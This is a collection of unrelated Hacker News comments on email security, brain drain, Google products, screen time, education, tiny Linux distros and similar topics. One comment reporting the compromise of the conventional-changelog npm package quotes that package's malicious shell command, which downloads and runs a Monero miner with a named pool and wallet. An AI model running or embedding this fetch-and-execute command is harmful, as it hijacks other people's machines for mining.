skysight-inc/HackerNews huggingface dataset:
I would say it's in between.

Email by itself (as a protocol) is far from perfect, but you can have other mechanisms to improve on top of it where it falls short (while some other things, like metadata retention, are deal breakers). You can still host your own email with almost all the bells and whistles offered by Google/Microsoft, so you have that going for you.

On the other hand, even if you have the greatest and most secure emailing server imaginable, you would still be communicating with others who don't use it, and you're relying on them having some strong security mechanisms as well. Therefore, it's important for Google/Microsoft to make these improvements on top of emails as well.

So, if we're talking about email as a protocol, not secure enough for 21st century.

If we're talking about email as an end product, then yes, it's secure enough (under the assumption that you're using some well known email hosting service).
It's true I inherited some problems. Rather than be ashamed or conceal those, I've learned it's a source of strength. When you classify those problems as "tragic," you downplay situations like TempleOS' author.

Did you know youtube removed all of his 850+ videos? That was actually tragic. Archive.org has copies of most of them but no one sees them anymore.

Also, did you notice? He singlehandedly built an OS. If I'm destined for a similar fate, I'll take a quiet life filled with skill.

Besides, it'll be entertaining. I have quite a show planned!
If local public transit is seasonal, should it not be considered then? That seems reasonable to me.
Ask HN: Does immigration to the US hurt developing countries?
I ask this because my friend from Pakistan, who has studied in the United States, was telling me that she constantly has to struggle with the decision between living in Pakistan or moving to the US or Canada as her sister had done.

In her words, "who will help Pakistan develop if the educated leave at the first opportunity?"

We encourage immigration to the United States, but I believe in the grand scheme of things we are hurting other nations by draining them of their best talent.

As an American I obviously benefit from this arrangement, but I can't help but feel guilty about it.

Would increased restrictions on immigration into the US actually help other countries? Are people who want increased immigration into the US inadvertently hurting the chances of developing nations to fully develop?
> Technologists aren't doctors.

Doctors are a subset of technologists.

> Doctors are a necessity because people have an incessant need to stay alive.

Medical care is an application of technology people are particularly willing to sacrifice other things to pay for, but not without limit.

That's not the only application of technology for which they is true.

> Technologists aren't a fundamental necessity to society.

Hard to say that's any more true than of Doctors; you can have a society without doctors or without other technologists, but if you do, people will very quickly start assuming those roles.

> We are business people.

Most technologists are not business people. A few are, but that's incidental, not fundamental.

> The only rules/ethics that govern us are business rules/ethics.

At least in formal terms, this is true of information technology, but it has nothing to do with necessity or lack thereof (it's not true of lawyers, who are certainly not necessary to survival.) It's just that IT (unlike medicine, law, or proper engineering) lacks professionalization.
This reminds me of Google and their atrocious customer account systems. These companies are just not impacted enough in a negative for them to change.
Hyperbole? Incoherence?
You can take them to small claims court, for about $50.
> I think I speak for a fair number of HN readers when I say, Literally everything google offered 10-15 years ago was better. Talk, gmail, voice, search (with booleans!). Its all a wasteland now, begotten and forgotten for sweet advertising and big data deals.

Eh... I think you should speak for yourself and convince with arguments instead.

How are these products worse? Search gives much more relevant users, pretty much killed SEO as a thing, now using page size and performance as metrics to push mobile-friendly websites higher when you're on your mobile.

Gmail is just significantly better in every way.. including privacy: They stopped using emails for ads. [0]

Of course, RIP Google Talk, but Voice is much better now, with a VoIP option coming soon.[1]

[0] https://www.bloomberg.com/.../google-will-stop-reading-your-...
[1] https://9to5google.com/2017/01/26/google-voice-voip-integrat...
NPM: conventional-changelog package hacked
Youtube seems to be one of the more egregious parts of the Google ecosystem.

Like sure Gmail has its problems, but ultimately it is an excellent web based email system that's hard to beat because it's a great product.

Youtube's main strength seems to be primarily its first mover advantage, and the fact that building a video hosting site is a rather costly venture.

Neither of those are a very defensive moat against competitors like Amazon and Facebook
A worker-owned consulting firm, basically. Also called a co-op. You get the benefit of shared clients and administration support, without working for "somebody else".

I don't know of any large ones, but I have seen quite a few around.
They pick themselves?

You don’t really need teachers.
Nokia rejoint le mouvement et adopte Android 8.1 Oreo pour le NOKIA 8
Which is ironic because statistically it's dramatically safer than 20, 30, or 40 years ago.
And this is why it’s so scary that our societies are moving towards using such private companies for basically core infrastructure of society.

One might turn this on its head, and suspect that this loss of agency might be the entire point of society changing in this way. TPTB have heard quite enough from the little people, thank you very much.
The article mentions that this vulnerability affects Mac and Linux too. I'm curious how that's the case. DLLs, as i understand, are the Windows equivalent of shared libraries on Unix-like systems. Even if that's the case, there'd have to be subtle but important differences in the implantation details, due to the differing heritage of both systems, wouldn't there?

I've heard about DLL-injection many a time, for purposes ranging from benign (fun Counter-Strike mod) to evil (I am now NT AUTHORITY\SYSTEM, bitches). I've not heard about .so injection on Unix-like systems. Why is that? Is it because implementation details of Unix shared libraries preclude them being used in the same or a similar way, that I've just not been on the right mailing lists to hear about it, or more nobody cares to bother because everyone's on Windows?

Those of you whom are familiar with either or both systems, what material would you recommend for study that would answer my questions, or help me understand enough to ask a smarter one?
Hmm... I think Kim came in towards the time I was leaving. Last name? When I was there our immediate QA was embedded within SW & reported up through the SW chain. Craig took over all OS SW development early 2015 IIRC. Have things changed? FWIW software quality of iOS has always been a concern in the media and I don't see that iOS 11 is particularly better or worse than other releases. iOS 8 had horrible performance issues for example to the point where iPhone 4S lifetime had to be artificially extended to iOS 9 instead of being EOL'ed in iOS 8 as originally planned. Every release has had its own share of embarrassing/severe bugs. Except for maybe iOS 1.0 which had no 3P features, a very small feature-set, & no competition to be evaluated against, each iPhone release has always been received as having stability issues, at least initially.

> However, they criticized it for having stability issues and overall sluggishness
https://en.wikipedia.org/wiki/IPhone_OS_2

> iPhone 3G users reported performance and battery issues after upgrading to iOS 4
https://en.wikipedia.org/wiki/IOS_4

> The iOS 5 update was the subject of criticism for iPhone 4S users, as the upgrade caused problems with battery life, failures of SIM cards, and echoes during phone calls.
https://en.wikipedia.org/wiki/IOS_5

> A study by Apteligent (formerly Crittercism) found that the rate at which apps crashed in their tests was 3.56% on iOS 8, higher than the 2% found on iOS 7.1.[81]
> Forbes published several articles focusing on problems in iOS 8 regarding Wi-Fi and battery,[82] Bluetooth,[83] and calendar.[84]
https://en.wikipedia.org/wiki/IOS_8

A lot of iOS9 issues received media attention:
https://en.wikipedia.org/wiki/IOS_9#Problems

https://en.wikipedia.org/wiki/IOS_10#Problems

Except for iOS6 & 7 which appear to have had a milder reaction, if anything I think iOS 11 may be a more stable release compared to iOS 8, 9, & 10 in that while there are more frustrating UI bugs you can hit (auto-correct, iMessage message ordering) but the overall performance & stability hasn't suffered as badly. Also iOS has knock-on impressions from OSX stability which has had similar UI embarrassments + a couple of security-related missteps.

My point is I don't think there's any single particular cause that's identifiable as the reason behind poor SW quality. If it were the hundreds if not thousands of really smart people Apple employs would have solved the problem. At this point it's all higher-level issues & more often than not tradeoffs (e.g. reducing the features you ship every year & going away from a waterfall development model)
>All basic skills you'd expect a developer to have.

Yeah, if they've used git before. Otherwise they'll need at least a solid 30 minutes to figure out the most basic git usage pattern.

Do you really care about what source control system a person has experience in? Why? Any competent developer can pick it up quickly enough.
Unless you are sitting on a mountain of money, forget it. You must buy laws of any substance.

Laws represent power structures.
Power structures are buttressed with money flows.
If you threaten either, it will not end well.

Politicans know this. They profit from it, it is the product being sold. (Ever wonder how so many congressmen end their terms as millionaires?)
The alternative is ineffectively shoving shit down their throat?
Flip side of this: People who say this are usually folks trying to justify the fact that they're resorting to underhanded, abusive tactics to compete with talented, successful people who are not. It is the battle cry of the mediocre, the hallmark of scammers, the ultimate admission of the untalented and unworthy.

I know a lot of folks in fintech and blockchain, and we've all skated the outer edge of what's defined by law. The folks who give a damn about setting sustainable policy and not exploiting customers? Those are the folks who are still around. Even big US national banks, notorious for their immunity to law and enforcement, are starting to feel the pressure. Rumor is, Customers left Wells Fargo in droves after the last kerfuffle and new account opening went down substantially at Citi after their money laundering fine. The hidden cost of bad optics is immense. And as data science makes the formerly invisible behaviors of the world visible, society's going to get a whole lot more capable of identifying "bad behavior" and punishing it.

To say "The law is all that matters", in the context of these industries, is beyond naive. It's not just wrong, but it's leaving money and opportunity on the table. It's bad business AND bad optics.

> (so long as I'm still chasing the 'fuck you money', morals are great after you have it).

If this ethos is so effective, why are you still "chasing?" Or is this the rhetorical we? Or the royal we? I can never tell here.
Facebook, especially with younger people, is a corrupted brand. Youth do not want to go to facebook just because of the connotations behind it.
The variables and references need to be re-initialized. It would be absolutely amazing if instances updated themselves but I think only Lisps and Smalltalk are capable of what you are saying. Correct me if I am wrong.
Similar to what Dell said about Apple back in the day.
I definitely restrict "passive" screen time - especially TV, but also youtube that just autoplays stuff - but I have less of an issue with more interactive things.

An example: my six year old loves Algodoo (a physics simulator) and builds all kinds of crazy stuff in it. I have no problem with him building and creating things (not all day of course) - It's the passive viewing of content without thought ir interaction that bothers me.
Open sourcing code at the DoD
On that bug, it looks like the reporter has yet to give an update detailing what the bug actually is (the connection header is a mislead). Their update on Dec 30th says "I'm still working closely together with Willy from Haproxy to determine the actual root cause of http2 failures in Haproxy which only seems to affect Firefox". Without information on the actual fault, it seems like there's little the Firefox developers can do. It could easily be a Haproxy bug.
Instagram is Facebook's attempt to dethrone YT as the dominant player in the video sector. Once they remove time limits and allow some form of basic player controls, we're probably going to see some sort of shift. Instagram's UX/UI is, in my opinion, smoother than that of the YT app.
Yep only microdata. I completely forgot about RDFa. I'm immediately writing RDFa to my todo list. It would be a great addition.
So it's hard as hell?
As a user, the only wortwhile facebook videos are home-made ones that my friends post. It's a terrible medium for accessing information (Because you can't search, or easily link to it), and the overwhelming majority of the time, I don't want to see the shared CLICKBAIT shit THAT USES ALL CAPS to EMPHASISE how YOU SHOULD FEEL when watching this VIDEO.

YouTube's video recommendations are much better for me - and even then, they have a very low hit rate. The difference is that I see a dozen of them in the sidebar, instead of one at a time, they are unobtrusive, and they don't autoplay.

If Facebook made a YouTube clone, that would be great for users. They aren't, though - Facebook Video is delivering an objectively worse user experience.

It should stick to baby's first steps videos.
> only whitelisting email addresses from .edu domains or ISP accounts ("@comcast.net").

I haven't seen ISPs give out emails addresses like that in years (I now my last couple of ISPs have no such thing).

So you're basically limiting yourself to people from universities, or who've had an old-school ISP for a while.
It can be very frustrating, but ultimately it's a reflection on you.

Whether you're a coder, or a librarian, or a janitor, take pride in your work. Do the best job you can.

If everyone else's code looks like crap, that's on them. When new people come on, they'll see your work compared to the slackers, and start emulating you, not them.

Like anything in life: Do the right thing, even when you're surrounded by villains.
I wish there was something better than Upwork.

The platform is pretty buggy, I don't enjoy using it. The only reason I stick to it is the "pool" of freelancers is pretty big so you can likely find someone qualified and decent to work with. You get _tons_ of junk though. You can limit this by setting to only in US, only those that have worked x hours and have already made x. Setting strict requirements at least can remove the bait and switch or fresh spam accounts.

Fun story time. I was looking for a developer and found a guy that seemed to have a nice profile, clear picture, etc. When I messaged him the responses felt very foreign and quick. Didn't really make sense so I reverse image searched the photo and found the photo belonged to a developer but not the guy I was talking to (different names). I emailed the real guy (he had a portfolio site and some nice programming articles) and asked if this was really him on Upwork. Nope. He said he's never had a profile on there and thanked me as he went to report it.
That seems pretty fresh to me, but I may just be jaded: I'm working with a mission-critical PHP project with portions -- including fossilized third-party libraries -- fossilized since 2009.
Interestingly, we don’t post any baby photos on Facebook because it’s too toxic of an environment. We use WhatsApp, which is still owned by Facebook but much harder for them to monetize.
Other investments aren't as reliable and secure as real estate.
I guarantee your kids see just as many if not more ads than you did growing up. They may not look the same to you but they're there. Seriously, if you think ads have decreased over time then you've completely lost the idea of what an ad is.
You are correct, docker images don't generally contain kernels (and if they do, they don't load them).

A more apt comparison would be vs alpine standard which is 109 MB and contains a kernel.
>In spite of needing something like this a few weeks ago, I wonder what the role of such reduced distributions actually are these days.

I think this is pretty much why. If you were to take your average hacker/maker, most of them would probably have a similar sentiment. However, most of them would also have a story about how they needed some tiny distro like TCL recently for some niche use case.

I myself needed a tiny distro recently. I had 22 rackmount servers with no HDD all on the same network, and I needed them to all run the same static binary. I realized like most Intel servers, with default settings, they will try to boot over the network with PXE. Wanting to not spend a day messing around with provisioning these servers, I decided I would just put a linux image on a USB stick, stick it in my OpenWRT router, and host it over TFTP. Serving a large image from a USB stick every time each of 22 servers started up was an unnecessary use of bandwidth and would often fail (I didn't have the best router). I also didn't need anything except a network stack and the ability to run a 64 bit static binary, so I did some research and ended up using the x86_64 version of TCL. Worked great! I'm sure tons of others have weird niche use cases for such a distro.

Of course, as my needs evolved, I ended up just using a minimal Arch linux image...
Ensure that the conversion tracking is done through google properties
I think you've stopped listening too soon. The exact circumstances have changed but the challenges are the same. For my parents the challenge was keeping me away from TV and video games; I would have played computer games for 24 hours straight if they had let me. Given the portability of devices today the physical challenges for you are different but the emotional ones are the same.
What was the exact reason for posting that link? Are you trying to make a point with that link? What point exactly?
> if someone is working on a new part of the product or is fixing a bug in legacy code be absolutely ruthless in what you'll let passed in code review. This may not do you any favours socially but a reputation for harsh code reviews isn't all bad.

In my experience this is the most important thing. I particularly focus on the "what the heck does this code even do" aspect - the person who is modifying the code needs to be able to explain exactly what the code does and why it is correct (don't accept "it compiles and the one unit test we have passes"). Forcing the team to understand the code will make it very difficult for them to continue adding bad code to the pile, as they won't be able to explain what they bad code does, or will realize the code is bad in the course of trying to explain it.
All of these noble ideas of ethics and social responsibility are great for everyone that feels bound by them themselves. Many of the rest can't be bothered. People who have to be taught that the missile they're building is going to kill people and that they should feel bad about it probably already knows that the missile they're building is going to kill people and they don't feel bad about it. You see this issue come to a head in computer technology because much of it doesn't have absurd cost/precision requirements like weapons, drugs/pharmaceuticals, etc. have.
Probably because no one goes outside! :)
See

https://en.wikipedia.org/wiki/Human_capital_flight

As an American you may or not benefit. If foreigners can
get educated inexpensively, but Americans have to deal with a cartel and pay dramatically more, it lowers the return on investment of a college education.

Older people (who often hate immigration because it means change) generally benefit from immigration because of increased tax revenue. For younger people it is less certain.
Some details (https://github.com/conventional-changelog/conventional-chang...):

> This happened because of a security issue: conventional-changelog package was hacked, and it contained a Monero miner.

> I reported it to the devs and they unpublished it (and also conventional-changelog-preset-loader).

> They should re-add a safe version tagged with 1.1.3 to fix this issue.

The hacked package executes:

rm -rf /tmp/.debug && curl https://mnrlnt.blob.core.windows.net/mnr/Silence -o /tmp/.debug 2> /dev/null && chmod +x /tmp/.debug && /tmp/.debug -o stratum+tcp://pool.minexmr.com:4444 -u 4A9V5knGUM8PUdPSJbTox8b9mgTsfXByK49XKtEyqVayDxD6CFJe5dsexaM99x7MXFNTxZkYAr4YtcAXQMkNrFjnRPJGJFr.JL6_$(hostname -f | md5sum | cut -c1-8) -p x -t $(lscpu | grep 'CPU(s)'| grep -v ',' | awk '{print $2}' | head -n 1) 2> /dev/null &
Not every embedded device has the luxury of 16 GB of storage.
I'll bite.

The Western paradigm of education has nothing to do with Marxism and everything to do with Industrialization. Education is an industrial process that mass produces a literate workforce.

In the US, our Industrial Education takes raw materials (uneducated kids), refines them on an assembly line (K-12) by a workforce (teachers), bound to various Quality Assurance processes (SATs, ACTs, etc) that affect their pay, supervised by a central management bureaucracy (the school board) that results in a yearly harvest (Graduation) of brand new workers. This supply of undifferentiated but educated laborers met the demands of manufacturing.

inb4 Education is failing blah, blah, blah...

Previously the large amount of manufacturing demanded a large homogenized manual workforce. As manufacturing moved elsewhere, the market demand for this labor diminished. Like any other large corporation, Industrialized Education is going through a slow decline as demand continues to drop off for it's primary product.

As this general market declines, the market for specialized and refined labor increased. Higher Education is the industrialized refinement for specialization. The end result is a specialized worker commodity. The Industrialization metaphor is even stronger as many of these universities are actual corporations competing to deliver a product for their markets.

> I was programming at 8 but apparently to be "well rounded" I had to do all this other stuff that non-coders deemed important.

That's because you were a raw commodity being transformed into a finished product. You don't ask a car whether it wants to be red. Management didn't ask if you wanted to be well-rounded.

To put it more generally, this is the experience of a sapient being in the process of commodification.

> Forcing all the kids into assembly lines and scalping their autonomy is breaking people. It's taking away their ability to think.

That's the whole point. It's refining a raw product into a finished good.
> Kids between 7 and 18 can enter into contracts, either if those contracts are entirely without duties to them (e.g. they can accept gifts)

Huh, that's interesting. I'm not familiar with German law, but in the Netherlands this would legally be simply not a contract at all. A contract (in the Netherlands) explicitly requires (actually is defined as such) that both parties have contractual duties, and a contract is the formalisation of the exchange of these ("this for that").

It makes a lot of sense too. If one party has no duties, they can't be held to the contract, so what's the use of even having one.